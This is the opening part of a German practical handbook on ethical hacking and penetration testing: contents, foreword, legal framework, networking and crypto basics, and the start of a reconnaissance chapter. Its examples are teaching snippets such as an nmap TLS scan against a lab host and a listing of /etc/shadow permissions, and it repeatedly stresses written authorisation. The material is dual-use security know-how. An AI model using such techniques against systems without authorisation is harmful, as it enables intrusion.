PRAXISHANDBUCH

White Hacking

Das Praxishandbuch

Ethisches Hacking und Penetration Testing – rechtssicher, methodisch, praxisnah



AUTORISIERT TESTEN. METHODISCH VORGEHEN. VERANTWORTLICH BERICHTEN.

Mit Übungen, Checklisten, Glossar und Index · Ausgabe Oktober 2026

White Hacking
Das Praxishandbuch

Ethisches Hacking und Penetration Testing – rechtssicher, methodisch, praxisnah

Vom rechtlichen Rahmen über Reconnaissance, Scanning und Exploitation bis zu Reporting und CVSS.
Mit 18 geführten Übungen in legalen Laborumgebungen (DVWA, Metasploitable, HTB/THM), Glossar und Index.

Inhaltsverzeichnis

Vorwort 5

Für wen ist dieses Handbuch? 5

Aufbau 6

Die Elemente in diesem Handbuch 6

Kapitel 1: Einführung – Was ist White Hacking? 8

1.1 Begriffsklärung: White Hat, Grey Hat, Black Hat 8

1.2 Der Pentest-Ablauf im Überblick 8

1.3 Berufsbilder und Karrierewege 9

1.4 Rechtlicher Rahmen in Deutschland 9

1.5 Scope, Rules of Engagement, Einwilligung 10

1.6 Responsible Disclosure und Bug Bounty 10

1.7 Ein typischer Projektablauf aus der Praxis (anonymisiertes Beispiel) 11

1.8 Soft Skills für White Hacker:innen 11

Zusammenfassung 11

Kapitel 2: Grundlagen – Netzwerke, Betriebssysteme, Kryptografie 13

2.1 TCP/IP, DNS und HTTP – das Fundament 13

2.2 Betriebssysteme: Linux und Windows aus Sicherheitssicht 14

2.3 Kryptografie-Grundlagen 14

2.4 Angriffsfläche systematisch denken 15

2.5 Wichtige Netzwerkprotokolle im Überblick 15

2.6 Virtualisierung als Sicherheitswerkzeug 15

2.7 Firewalls, IDS und IPS in Kürze 16

Zusammenfassung 16

Kapitel 3: Reconnaissance & OSINT 17

3.1 Passiv vs. aktiv: die rechtlich entscheidende Grenze 17

3.2 OSINT-Werkzeuge im Überblick 18

3.3 Soziale und organisatorische Aufklärung 19

3.4 Reconnaissance strukturiert dokumentieren 19

3.5 Google Dorking (Suchmaschinen-OSINT) 19

3.6 Wortlisten für spätere Phasen vorbereiten 20

3.7 Technologie-Fingerprinting 20

3.8 Social-Engineering-Aufklärung (nur konzeptionell) 21

Zusammenfassung . . . 21

Kapitel 4: Scanning & Enumeration . . . 22

4.1 Von Recon zu Scanning . . . 22
4.2 Nmap-Grundlagen . . . 22
4.3 Banner Grabbing manuell . . . 23
4.4 Schwachstellenscanner . . . 24
4.5 Enumeration: einen Schritt tiefer . . . 24
4.6 Web-Verzeichnisse und Subdomains enumerieren . . . 24
4.7 Scan-Ergebnisse priorisieren . . . 25
4.8 Webserver-spezifisches Scanning mit Nikto . . . 25
Zusammenfassung . . . 25

Kapitel 5: Exploitation-Grundlagen . . . 27

5.1 Schwachstellenklassen: OWASP Top 10 . . . 27
5.2 CVE und CVSS im Zusammenspiel . . . 27
5.3 Metasploit-Grundlagen . . . 28
5.4 Burp Suite: Proxy für Webanwendungen . . . 29
5.5 Exploit-Entwicklung in Grundzügen . . . 29
5.6 Payload-Typen im Überblick . . . 30
5.7 Burp Intruder: Angriffstypen im Überblick . . . 31
5.8 msfvenom: Payloads eigenständig erzeugen (Konzept) . . . 31
Zusammenfassung . . . 31

Kapitel 6: Web-Application-Hacking . . . 33

6.1 SQL-Injection . . . 33
6.2 Cross-Site Scripting (XSS) . . . 34
6.3 Cross-Site Request Forgery (CSRF) . . . 34
6.4 Authentifizierungsfehler . . . 35
6.5 Insecure Direct Object References (IDOR) und Broken Access Control . . . 35
6.6 Datei-Upload-Schwachstellen . . . 36
6.7 API-Sicherheit in Kürze . . . 36
Zusammenfassung . . . 37

Kapitel 7: Netzwerk- und System-Hacking . . . 38

7.1 Passwortangriffe . . . 38
7.2 Privilegieneskalation . . . 39
7.3 Lateral Movement . . . 39
7.4 Post-Exploitation: Was nach dem ersten Zugriff passiert . . . 40

7.5 Persistenz – Konzept und Grenzen im Pentest . . . 40
7.6 Pivoting: Von einem System ins nächste Netzwerksegment . . . 41
7.7 Wichtige Werkzeuge dieses Kapitels im Überblick . . . 41
7.8 Active-Directory-Angriffspfade visualisieren . . . 41
Zusammenfassung . . . 42

Kapitel 8: Reporting & Dokumentation . . . 43

8.1 Warum der Bericht entscheidend ist . . . 43
8.2 Aufbau eines professionellen Berichts . . . 43
8.3 Risikobewertung mit CVSS . . . 44
8.4 Maßnahmenempfehlungen formulieren . . . 44
8.5 Vertraulichkeit und Umgang mit dem Bericht . . . 45
8.6 Befunde nach Kategorien gruppieren . . . 45
8.7 Der Retest . . . 45
8.8 Beispielhafter Berichtsauszug (vollständig anonymisiert) . . . 46
8.9 Häufige Fehler beim Berichtschreiben . . . 46
Zusammenfassung . . . 46

Kapitel 9: Praxisteil – Laboraufbau und geführte Übungen . . . 48

9.1 Zwei Netzwerkprofile statt eines . . . 48
9.2 Schritt-für-Schritt-Installation des Labors . . . 49
9.3 Checkliste: Rechtliche und ethische Vorprüfung vor jedem Test . . . 51
9.4 So arbeitest du die Übungen durch . . . 52
Zusammenfassung . . . 58

Kapitel 10: Glossar und weiterführende Ressourcen . . . 59

10.1 Zertifizierungen im Überblick . . . 59
10.2 Lernplattformen . . . 59
10.3 Communities und Konferenzen . . . 60
10.4 Dein Lernpfad . . . 60
10.5 Zertifizierungsprüfungen im Vergleich . . . 60
10.6 Eigene Writeups veröffentlichen . . . 60
Glossar . . . 61
Zusammenfassung . . . 61

Verzeichnis der Befehls- und Codebeispiele . . . 63

Index . . . 65

Vorwort

Sicherheitslücken existieren, ob man sie sucht oder nicht. Der Unterschied zwischen einem Cyberkriminellen und einer Sicherheitsfachkraft liegt nicht in den Werkzeugen, die sie benutzen, sondern ausschließlich in der **Erlaubnis**, diese Werkzeuge einzusetzen. Genau das ist die Grundidee des **White Hacking** (ethisches Hacking): Organisationen beauftragen Fachleute, ihre eigenen Systeme anzugreifen, bevor es echte Angreifer tun.

Dieses Handbuch führt dich von den Grundlagen bis zu fortgeschrittenen Techniken des Penetration Testing. Es richtet sich an IT-Administrator:innen, Studierende der Informatik, angehende Penetration Tester und Entwickler:innen mit Interesse an IT-Sicherheit. Du brauchst grundlegende IT-Kenntnisse (Netzwerke, Kommandozeile, ein Betriebssystem deiner Wahl), aber keine Vorerfahrung im Hacking.

ILLEGAL – niemals ohne Auftrag

Der wichtigste Satz dieses Buches steht hier, ganz am Anfang: Jede Technik in diesem Handbuch ist für den Einsatz **ausschließlich** in eigens dafür vorgesehenen, legalen Testumgebungen (eigene virtuelle Maschinen, DVWA, Metasploitable, HackTheBox, TryHackMe) oder im Rahmen eines schriftlich beauftragten, autorisierten Penetrationstests bestimmt. Die Anwendung gegen fremde, nicht ausdrücklich freigegebene Systeme kann – je nach konkretem Vorgehen – Verträge und Nutzungsbedingungen verletzen oder nach §§ 202a–202c, 303a–303b StGB strafbar sein (Einzelheiten in 1.4). Die Beispiele dieses Buches sind auf diese isolierten Trainingsziele zugeschnitten und als solche gekennzeichnet; einzelne Befehle und Techniken sind technisch grundsätzlich übertragbar, ihre Anwendung außerhalb eines autorisierten Rahmens bleibt aber unzulässig. Dieses Buch verzichtet bewusst auf Schadsoftware und auf direkt kopierbare, vollständige Befehlsketten für die invasivsten Techniken (siehe 5.8).

Für wen ist dieses Handbuch?

Du bist hier richtig, wenn du

- als Administrator:in die eigene Infrastruktur besser absichern möchtest,
- im Studium oder in der Ausbildung eine fundierte Grundlage für IT-Sicherheit suchst,
- dich auf Zertifizierungen wie eJPT, OSCP oder CEH vorbereiten willst,
- als Entwickler:in verstehen möchtest, wie Angreifer denken, um sichereren Code zu schreiben.

Aufbau

Kapitel	Thema	Du kannst danach
1	Einführung	White Hat von Grey/Black Hat unterscheiden, den rechtlichen Rahmen benennen
2	Grundlagen	Netzwerke, Betriebssysteme und Kryptografie sicherheitsrelevant einordnen
3	Reconnaissance & OSINT	Informationen passiv und aktiv sammeln
4	Scanning & Enumeration	Dienste, Ports und Schwachstellen systematisch erfassen
5	Exploitation-Grundlagen	OWASP Top 10, Metasploit und Burp Suite einordnen und einsetzen
6	Web-Application-Hacking	SQLi, XSS, CSRF und Authentifizierungsfehler in Laboren nachvollziehen
7	Netzwerk- und System-Hacking	Passwortangriffe, Privilegieneskalation, Lateral Movement in Laboren
8	Reporting & Dokumentation	Befunde mit CVSS bewerten und professionell berichten
9	Praxisteil	eine eigene Laborumgebung aufbauen und 18 Übungen durcharbeiten
10	Ressourcen	Zertifizierungen, Communities und Lernpfade einordnen

Am Ende findest du ein **Glossar**, die **Checkliste zur rechtlichen Vorprüfung**, ein **Verzeichnis der Befehlsbeispiele** und einen **Index**.

Die Elemente in diesem Handbuch

Jedes Kapitel beginnt mit **Lernzielen** und endet mit einer **Zusammenfassung**. Weil Recht und Ethik hier über legal und strafbar entscheiden, gibt es zwei besondere Boxen:

> **LEGAL – nur mit Auftrag/Einwilligung**
>
> Grüne Boxen zeigen, **unter welchen Bedingungen** eine Technik erlaubt ist.

> **ILLEGAL – niemals ohne Auftrag**
>
> Rote Boxen zeigen, **wann genau dieselbe Technik strafbar** wird.

> **WARNUNG – Sicherheitsrisiko**
>
> Orange-rote Warnboxen weisen auf operative Risiken hin: Systemausfälle, Datenverlust, Kollateralschäden – auch bei autorisierten Tests.

> **TIPP – Profi-Trick**

Türkise Tipp-Boxen enthalten Praxistricks erfahrener Tester:innen.

Gut zu wissen

Violette Boxen liefern Hintergrundwissen.

TIPP – Profi-Trick

Baue dir parallel zum Lesen eine eigene, isolierte Laborumgebung auf (Kapitel 9) und probiere jedes Beispiel selbst aus. Sicherheitswissen entsteht durch Handanlegen, nicht durch Zusehen.

Kapitel 1: Einführung – Was ist White Hacking?

Lernziele

- Du kannst White Hat, Grey Hat und Black Hat unterscheiden und begründen, warum die Grenze rechtlich scharf ist.
- Du kennst den typischen Ablauf eines Penetrationstests und die wichtigsten Berufsbilder.
- Du kennst die zentralen deutschen und europäischen Rechtsgrundlagen und ihre Konsequenzen für deine Arbeit.
- Du verstehst, warum eine schriftliche Beauftragung mit Scope und Rules of Engagement zwingend ist.

1.1 Begriffsklärung: White Hat, Grey Hat, Black Hat

Hacking bedeutet zunächst nur: ein System tiefer verstehen, als es vorgesehen war, oft um Schwachstellen zu finden. Ob das legal, illegal oder eine Grauzone ist, hängt ganz wesentlich von der **Autorisierung** ab, daneben aber auch von der konkreten Methode, dem Umfang und davon, ob Rechte Dritter berührt werden. Ein und dieselbe Technik – etwa ein Portscan – kann am Montag im Rahmen eines beauftragten Pentests ein harmloser Routineschritt sein und am Dienstag, gegen ein fremdes System ohne Auftrag ausgeführt, zumindest einen Vertrags- oder Nutzungsbedingungsverstoß darstellen; ob daraus auch eine Straftat wird, hängt von den Umständen des Einzelfalls ab (siehe 1.4). Autorisierung ist damit die wichtigste, aber nicht die einzige Voraussetzung.

Typ	Handeln	Rechtlicher Status
White Hat	Testet nur mit schriftlicher Erlaubnis des Systemeigentümers, im vereinbarten Rahmen (Scope)	Legal
Grey Hat	Testet ohne Auftrag, meldet Lücken aber oft in guter Absicht	Illegal, trotz guter Absicht
Black Hat	Bricht gezielt zum eigenen Vorteil oder zur Schädigung ein	Illegal, strafbar

ILLEGAL – niemals ohne Auftrag

Gute Absicht schützt nicht pauschal vor Strafbarkeit. Ein Grey Hat, der ohne Auftrag tatsächlich unbefugt Zugang zu besonders gesicherten, nicht für ihn bestimmten Daten verschafft, kann den Tatbestand des § 202a StGB erfüllen – das hängt aber vom konkreten Vorgehen ab (siehe 1.4), nicht von der Absicht.

1.2 Der Pentest-Ablauf im Überblick

Ein professioneller Penetrationstest folgt praktisch immer derselben Grobstruktur, die sich auch in der Gliederung dieses Buches spiegelt:

1. **Vorbereitung & Scoping** – Vertrag, Rules of Engagement, Zeitfenster, Notfallkontakte
2. **Reconnaissance** – passive und aktive Informationssammlung (Kapitel 3)
3. **Scanning & Enumeration** – Dienste und Versionen identifizieren (Kapitel 4)

4. **Exploitation** – Schwachstellen kontrolliert ausnutzen (Kapitel 5–7)
5. **Post-Exploitation** – Rechteausweitung, laterale Bewegung, Datenzugriff simulieren
6. **Reporting** – Befunde, Risiko, Empfehlungen dokumentieren (Kapitel 8)
7. **Nachbesprechung & Retest** – Ergebnisse präsentieren, nach Behebung erneut prüfen

Beispiel 1.1: Der Pentest-Kreislauf als Kurzformel

```
Scope -> Recon -> Scan -> Exploit -> Post-Exploit -> Report -> Retest
   ^                                                            |
   +---------------------- nächster Auftrag ----------------------+
```

1.3 Berufsbilder und Karrierewege

Rolle	Schwerpunkt
Penetration Tester	Zeitlich begrenzte, beauftragte Angriffssimulation
Red Teamer	Langfristige, realistische Angriffssimulation gegen ein ganzes Unternehmen
Security Analyst / SOC	Erkennung und Reaktion auf Angriffe (defensiv, „Blue Team")
Bug-Bounty-Hunter	Sucht Lücken im Rahmen öffentlicher Bug-Bounty-Programme gegen Prämie
Security Consultant	Berät zu Architektur, Richtlinien und Audits

> **Gut zu wissen**
>
> **Red Team vs. Pentest:** Ein klassischer Pentest prüft in begrenzter Zeit möglichst viele Schwachstellen eines definierten Scopes. Ein Red-Team-Einsatz simuliert dagegen einen realistischen, oft monatelangen Angriff mit dem Ziel, unentdeckt zu bleiben und ein konkretes Objekt zu erreichen (z. B. Zugriff auf eine bestimmte Datenbank). Die Blue Team genannte Verteidigungsseite weiß beim Red Teaming meist nicht, dass gerade getestet wird.

1.4 Rechtlicher Rahmen in Deutschland

> **WARNUNG – Sicherheitsrisiko**
>
> Dieser Abschnitt ersetzt keine Rechtsberatung. Bei jedem realen Auftrag gehört eine juristische Prüfung des Vertrags zum Standard, da sich Rechtsprechung und Auslegung weiterentwickeln.

- **§ 202a StGB (Ausspähen von Daten):** Der unbefugte Zugriff auf gegen unberechtigten Zugriff besonders gesicherte Daten ist strafbar, unabhängig davon, ob ein Schaden entsteht.
- **§ 202b StGB (Abfangen von Daten):** Das unbefugte Abfangen von Daten aus einer nicht öffentlichen Datenübermittlung, z. B. durch Mitschneiden von Netzwerkverkehr.
- **§ 202c StGB (Vorbereiten des Ausspähens und Abfangens von Daten):** Erfasst das Herstellen, Beschaffen, Verkaufen oder Verbreiten von Passwörtern/Zugangscodes oder von Computerprogrammen, **deren Zweck** die Begehung einer Tat nach § 202a oder § 202b ist. Das Bundesverfassungsgericht hat 2009 klargestellt, dass bei sogenannten Dual-Use-Werkzeugen (Programme, die sowohl für legitime Zwecke als auch für Angriffe nutzbar sind, wie Nmap oder Metasploit) zusätzlich Vorsatz zur Begehung einer konkreten Straftat nach § 202a/§ 202b

erforderlich ist – die bloße Eignung eines Tools reicht nicht aus. Das **Anwenden** eines solchen Tools (z. B. ein Portscan) ist zudem keine Vorbereitungshandlung im Sinne von § 202c, sondern allenfalls – je nach Vorgehen – ein möglicher Tatbestand nach § 202a selbst, wenn tatsächlich unbefugt auf gesicherte Daten zugegriffen wird.

- **§§ 303a/303b StGB (Datenveränderung, Computersabotage):** Relevant bei Tests, die Daten verändern, löschen oder Dienste lahmlegen können (z. B. Denial-of-Service-Tests).
- **DSGVO:** Pentests berühren fast immer personenbezogene Daten (Logins, Kundendatenbanken, Mitarbeiterkonten). Auftraggeber und Tester brauchen eine Rechtsgrundlage und in der Regel eine Vereinbarung zur Auftragsverarbeitung (AVV).
- **IT-Sicherheitsgesetz / NIS-2-Umsetzung:** Für Betreiber kritischer Infrastrukturen gelten zusätzliche Melde- und Sorgfaltspflichten, die den Testrahmen beeinflussen können.

LEGAL – nur mit Auftrag/Einwilligung

Nmap, Metasploit und Hydra sind als Dual-Use-Werkzeuge rechtlich neutral; sie werden beim autorisierten Pentest zu einem legitimen Arbeitsmittel. Wichtigste Voraussetzungen: schriftlicher Auftrag, klar definierter Scope, Einwilligung des Systemeigentümers – und dass die konkrete Handlung im Rahmen dieses Scopes bleibt. Autorisierung allein macht nicht automatisch jede denkbare Handlung legal: Reichweite, Rechte Dritter (z. B. Daten anderer Kunden auf demselben System) und die konkrete Methode zählen weiterhin.

1.5 Scope, Rules of Engagement, Einwilligung

Ein professioneller Auftrag enthält immer mindestens:

- **Scope:** Welche Systeme, IP-Bereiche, Domains, Anwendungen sind eingeschlossen – und was ist ausdrücklich ausgeschlossen?
- **Zeitfenster:** Wann darf getestet werden (z. B. außerhalb der Geschäftszeiten)?
- **Erlaubte Methoden:** Sind Denial-of-Service-Tests, Social Engineering, physischer Zugang erlaubt?
- **Notfallkontakt:** Wer wird informiert, wenn etwas schiefgeht?
- **Freistellungserklärung** (englisch: *Get-out-of-jail-free letter*): Eine schriftliche Bestätigung des Auftraggebers, die im Ernstfall gegenüber Behörden vorgelegt werden kann.

ILLEGAL – niemals ohne Auftrag

Ohne alle fünf Punkte schriftlich fixiert, beginnst du **keinen** Test – auch nicht „nur zur Übung" bei einem Bekannten, einem Arbeitgeber oder einem öffentlich erreichbaren System ohne Bug-Bounty-Programm.

1.6 Responsible Disclosure und Bug Bounty

Findest du außerhalb eines Auftrags zufällig eine Lücke, ist **Responsible Disclosure** der legale Weg: Du meldest sie vertraulich dem Betreiber oder über ein Bug-Bounty-Programm (z. B. über Plattformen wie HackerOne oder Intigriti), gibst ihm angemessen Zeit zur Behebung (üblich: etwa 90 Tage) und veröffentlichst Details erst danach, wenn überhaupt.

Beispiel 1.2: Ablauf einer Responsible Disclosure (schematisch)

```
Tag 0:   Lücke gefunden, vertrauliche Meldung an Hersteller/Security-Team
Tag 0-7: Eingangsbestätigung abwarten, ggf. nachfassen
Tag 1-90: Hersteller entwickelt und testet einen Fix
Tag 90+: Koordinierte Veröffentlichung (CVE, Advisory) nach Absprache
```

ILLEGAL – niemals ohne Auftrag

Ohne ausdrückliches Bug-Bounty-Programm oder sonstige Einwilligung ist auch „nur mal schauen, ob die Lücke wirklich da ist" bereits unbefugter Zugriff im Sinne des § 202a StGB.

1.7 Ein typischer Projektablauf aus der Praxis (anonymisiertes Beispiel)

Um die bisherigen Konzepte greifbarer zu machen, hier ein anonymisierter, leicht vereinfachter Ablauf eines realen Web-Pentests bei einem mittelständischen Unternehmen:

Beispiel 1.3: Anonymisierter Projektverlauf (Kurzfassung)

```
Tag 0:  Vertrag unterschrieben, Scope: eine Kundenportal-Webanwendung,
        IP-Bereich 198.51.100.0/28, Zeitfenster 09:00-18:00 Werktags.
Tag 1:  Reconnaissance – Subdomains, Technologie-Stack identifiziert.
Tag 2:  Scanning – offene Ports, Versionserkennung, erste Schwachstellen-
        kandidaten priorisiert.
Tag 3-4: Exploitation – SQL-Injection im Suchfeld bestätigt, Session-
         Management-Schwäche gefunden.
Tag 5:  Dokumentation – Bericht mit 7 Befunden, davon 1 kritisch, erstellt.
Tag 6:  Abschlussgespräch mit IT-Leitung, Empfehlungen priorisiert.
Tag 90: Retest nach Behebung – kritischer Befund erfolgreich geschlossen.
```

Dieser Ablauf zeigt: Die eigentliche Exploitation nimmt oft nur einen Bruchteil der Projektzeit ein. Vorbereitung, Reconnaissance und vor allem die Dokumentation beanspruchen in der Praxis einen vergleichbar großen Anteil.

1.8 Soft Skills für White Hacker:innen

Technisches Können allein macht noch keine gute Sicherheitsfachkraft. In der Praxis entscheiden oft diese Fähigkeiten über den Projekterfolg:

Fähigkeit	Warum sie zählt
Schriftliche Kommunikation	Der Bericht (Kapitel 8) ist das eigentliche Projektergebnis
Geduld und Systematik	Methodisches Vorgehen findet mehr als spontanes Ausprobieren
Diskretion	Zugriff auf sensible Daten erfordert absolute Vertraulichkeit
Stressresistenz	Zeitdruck, Produktivsysteme und Verantwortung gehören zum Alltag
Kontinuierliches Lernen	Schwachstellenlandschaft und Werkzeuge verändern sich ständig

Zusammenfassung

Zusammenfassung

- Der einzige Unterschied zwischen White Hat und Straftat ist die **schriftliche Autorisierung**, nicht die Technik.

- §§ 202a–202c StGB und die DSGVO setzen den rechtlichen Rahmen; Verstöße sind strafbar, unabhängig von der Absicht.
- Jeder Test braucht Scope, Zeitfenster, erlaubte Methoden, Notfallkontakt und eine Freistellungserklärung.
- Responsible Disclosure und Bug-Bounty-Programme sind die legalen Wege, um zufällig gefundene Lücken zu melden.
- In der Praxis nehmen Vorbereitung, Reconnaissance und Dokumentation oft mehr Zeit ein als die eigentliche Exploitation.
- Schriftliche Kommunikation, Systematik, Diskretion und kontinuierliches Lernen sind ebenso wichtig wie technisches Können.

Kapitel 2: Grundlagen – Netzwerke, Betriebssysteme, Kryptografie

Lernziele

- Du verstehst TCP/IP, DNS und HTTP so weit, dass du Netzwerkverkehr und Webanfragen lesen kannst.
- Du kennst die sicherheitsrelevanten Unterschiede zwischen Linux- und Windows-Systemen.
- Du verstehst die Grundbegriffe der Kryptografie und typische Implementierungsschwächen.
- Du kannst erklären, was eine Angriffsfläche ist und wie man sie systematisch eingrenzt.

2.1 TCP/IP, DNS und HTTP – das Fundament

Fast jeder Pentest-Schritt baut auf drei Grundlagen auf.

TCP/IP: Daten werden in Pakete zerlegt, über IP-Adressen geroutet und über **Ports** (0–65535) einem Dienst zugeordnet. Der **Drei-Wege-Handshake** (SYN, SYN-ACK, ACK) ist die Basis fast jedes Portscans (Kapitel 4).

Beispiel 2.1: TCP-Drei-Wege-Handshake (schematisch)

```
Client  --- SYN ------------------> Server
Client  <-- SYN-ACK ----------------- Server
Client  --- ACK ------------------> Server
         (Verbindung steht)
```

DNS übersetzt Domainnamen in IP-Adressen. Fehlkonfigurierte DNS-Server, etwa mit erlaubtem Zonentransfer, sind eine klassische Quelle für Reconnaissance (Kapitel 3).

HTTP/HTTPS ist das Anfrage-Antwort-Protokoll des Webs. Header, Cookies, Statuscodes und Methoden (GET, POST, PUT, DELETE) bilden die Haupt-Angriffsfläche von Webanwendungen (Kapitel 6).

Beispiel 2.2: Eine einfache HTTP-Anfrage und -Antwort lesen

```
GET /login.php HTTP/1.1
Host: labor.lokal
Cookie: session=a1b2c3d4
User-Agent: Mozilla/5.0

HTTP/1.1 200 OK
Set-Cookie: session=a1b2c3d4; HttpOnly
Content-Type: text/html
```

Gut zu wissen

Achte in Antworten besonders auf fehlende Sicherheits-Header wie `Strict-Transport-Security`, `Content-Security-Policy` oder `X-Frame-Options`, und auf Cookies ohne `HttpOnly`- oder `Secure`-Flag. Ihr Fehlen ist selten der einzige Befund, aber ein starker Hinweis auf den allgemeinen Reifegrad der Absicherung.

2.2 Betriebssysteme: Linux und Windows aus Sicherheitssicht

Aspekt	Linux	Windows
Rechteverwaltung	Benutzer/Gruppen, root als höchste Instanz	Benutzerkonten, Administrator/SYSTEM
Typische Dienste	SSH, Apache/Nginx, MySQL/PostgreSQL	SMB, RDP, Active Directory
Protokollierung	Syslog, `journalctl`	Event Log, `Get-WinEvent`
Häufige Schwachstellenklasse	Fehlkonfigurierte Dienste, veraltete Pakete, schwache Dateirechte	Fehlende Patches, schwache AD-Konfiguration, Klartext-Zugangsdaten im Speicher

Beispiel 2.3: Rechte unter Linux und Windows gegenüberstellen

```
# Linux: Dateirechte lesen
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1230 Okt 20 09:15 /etc/shadow

# Windows: effektive Rechte eines Ordners anzeigen (PowerShell)
PS> Get-Acl C:\Freigaben\Buchhaltung | Format-List
```

2.3 Kryptografie-Grundlagen

- **Symmetrische Verschlüsselung** (z. B. AES): ein gemeinsamer Schlüssel für Ver- und Entschlüsselung. Schnell, aber der sichere Schlüsselaustausch ist das Problem.
- **Asymmetrische Verschlüsselung** (z. B. RSA): ein öffentlicher und ein privater Schlüssel. Grundlage von TLS/HTTPS und SSH.
- **Hashfunktionen** (z. B. SHA-256): Einwegfunktionen zur Integritätsprüfung und Passwortspeicherung. Schwache Hashes (MD5, SHA-1) oder fehlendes **Salting** sind ein zentrales Prüffeld in Kapitel 7.

> **Gut zu wissen**
>
> Ein Pentest prüft fast nie die Kryptoalgorithmen selbst – sie gelten bei korrekter Implementierung als sicher –, sondern **Implementierungsfehler**: abgelaufene Zertifikate, schwache Cipher Suites, selbstsignierte Zertifikate in Produktivsystemen, fest einprogrammierte Schlüssel (Hardcoded Keys) im Quellcode.

Beispiel 2.4: TLS-Konfiguration eines Servers grob prüfen

```
$ nmap --script ssl-enum-ciphers -p 443 labor.lokal
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.2:
|     ciphers: ... (schwache Cipher würden hier auffallen)
```

2.4 Angriffsfläche systematisch denken

Die **Angriffsfläche** (Attack Surface) ist die Summe aller Punkte, über die ein System angegriffen werden könnte: offene Ports, Webformulare, APIs, Benutzerkonten, Drittanbieter-Integrationen, physische Zugänge, mobile Apps. Ein guter Pentest beginnt damit, die Angriffsfläche **vollständig** zu kartieren, bevor überhaupt die erste Schwachstelle gesucht wird. Genau das ist der Gegenstand von Kapitel 3 (Informationssammlung) und Kapitel 4 (Scanning).

Angriffsflächen-Kategorie	Beispiele
Netzwerk	offene Ports, exponierte Dienste, VPN-Zugänge
Anwendung	Webformulare, APIs, Upload-Funktionen
Mensch	Phishing-Anfälligkeit, Social Engineering
Physisch	unverschlossene Serverräume, offene USB-Ports
Lieferkette	Drittanbieter-Bibliotheken, Cloud-Dienstleister

2.5 Wichtige Netzwerkprotokolle im Überblick

Neben TCP/IP, DNS und HTTP begegnen dir im Pentest-Alltag weitere Protokolle, deren Grundfunktion du kennen solltest:

Protokoll	Port (Standard)	Sicherheitsrelevanz
SSH	22	Fernzugriff; Angriffsziel für Brute-Force, schwache Schlüssel
SMB	445	Windows-Dateifreigaben; häufige Quelle für Enumeration und Lateral Movement
RDP	3389	Windows-Fernzugriff; häufiges Ziel für Brute-Force und bekannte CVEs
LDAP	389/636	Active-Directory-Verzeichnisdienst; zentrale Angriffsfläche in Unternehmensnetzen
SNMP	161	Netzwerk-Management; oft mit schwachen Standard-Community-Strings konfiguriert

2.6 Virtualisierung als Sicherheitswerkzeug

Virtuelle Maschinen (VMs) sind die technische Grundlage jeder legalen Testumgebung in diesem Buch (vertieft in Kapitel 9). Eine VM läuft in einem eigenen virtualisierten Adressraum getrennt vom Host-Betriebssystem, wobei der genaue Grad der Trennung von der Netzwerkkonfiguration abhängt (siehe Kapitel 9.1); **Snapshots** erlauben es, jederzeit zu einem definierten, sauberen Zustand zurückzukehren.

Beispiel 2.5: Snapshot-Konzept in VirtualBox

```
1. VM in sauberem Ausgangszustand starten
2. Snapshot anlegen: "Sauberer Start – vor Übung X"
3. Übung durchführen, auch mit potenziell systemverändernden Aktionen
4. Nach der Übung: Snapshot wiederherstellen -> Ausgangszustand in Sekunden
```

TIPP – Profi-Trick

Netzwerkisolation (Host-only/Internal Network) und Snapshots zusammen machen aus jeder VM ein risikofreies Testfeld: Selbst ein versehentlich zerstörtes System ist in Minuten wiederhergestellt, und nichts gelangt versehentlich ins Internet.

2.7 Firewalls, IDS und IPS in Kürze

- **Firewall:** filtert Netzwerkverkehr anhand von Regeln (Ports, IP-Adressen, Protokollen). Trennt Netzsegmente und blockiert unerwünschte Verbindungen.
- **IDS** (Intrusion Detection System): überwacht Verkehr oder Systemaktivität und **meldet** verdächtige Muster, greift aber nicht aktiv ein.
- **IPS** (Intrusion Prevention System): wie IDS, blockiert erkannte Angriffe aber zusätzlich **aktiv**.

Beispiel 2.6: Wie eine Firewall einen Portscan beeinflusst

```
Ohne Firewall:  Nmap zeigt "open" oder "closed" für jeden Port.
Mit Firewall:   Nmap zeigt häufig "filtered" – das Paket wird stillschweigend
                verworfen, der Scanner erhält keine eindeutige Antwort.
```

Gut zu wissen

Aus Sicht eines Pentests sind Firewalls und IDS/IPS kein Hindernis, das es zu "besiegen" gilt, sondern Teil der zu bewertenden Verteidigung. Ein guter Bericht (Kapitel 8) hält auch fest, welche Abwehrmaßnahmen bereits wirksam gegriffen haben.

Zusammenfassung

Zusammenfassung

- TCP/IP, DNS und HTTP sind das technische Fundament fast jeder Pentest-Technik in diesem Buch.
- Linux und Windows unterscheiden sich in Rechtemodell, Diensten und Protokollierung – und damit in typischen Schwachstellenklassen.
- Kryptografie-Angriffe im Pentest zielen fast immer auf Implementierungsfehler, nicht auf die Algorithmen selbst.
- Die Angriffsfläche vollständig zu kartieren, über Netzwerk, Anwendung, Mensch, Physis und Lieferkette hinweg, ist die Grundlage jeder weiteren Phase.
- SSH, SMB, RDP, LDAP und SNMP sind die im Pentest-Alltag häufigsten Protokolle jenseits von HTTP.
- Isolierte VMs mit Snapshots sind die technische Grundvoraussetzung für jedes risikofreie Labor (Kapitel 9).
- Firewalls filtern Verkehr nach Regeln, IDS meldet verdächtige Muster, IPS blockiert sie aktiv – alle drei sind Teil der zu bewertenden Verteidigung, nicht nur Hindernisse.

Kapitel 3: Reconnaissance & OSINT

Lernziele

- Du unterscheidest passive von aktiver Informationssammlung und kennst die rechtliche Grenze dazwischen.
- Du nutzt Whois, DNS-Abfragen und theHarvester für die passive Aufklärung.
- Du verstehst, wie Shodan funktioniert und welche rechtlichen Grenzen auch dort gelten.
- Du dokumentierst Reconnaissance-Ergebnisse strukturiert für die nächste Phase.

3.1 Passiv vs. aktiv: die rechtlich entscheidende Grenze

Reconnaissance (kurz Recon) ist die systematische Sammlung von Informationen über ein Ziel, bevor technisch angegriffen wird. Man unterscheidet zwei Arten:

Art	Beschreibung	Beispiele	Rechtlicher Status ohne Auftrag
Passiv (OSINT)	Nutzt ausschließlich öffentlich zugängliche Quellen, ohne das Zielsystem direkt zu kontaktieren	Whois, Suchmaschinen, Social Media, Stellenanzeigen, Shodan	Weitgehend unbedenklich, da öffentlich
Aktiv	Kontaktiert das Zielsystem direkt (Anfragen, Scans)	DNS-Zonentransfer-Versuch, Portscan, Banner Grabbing	Nur mit Auftrag/Einwilligung legal

LEGAL – nur mit Auftrag/Einwilligung

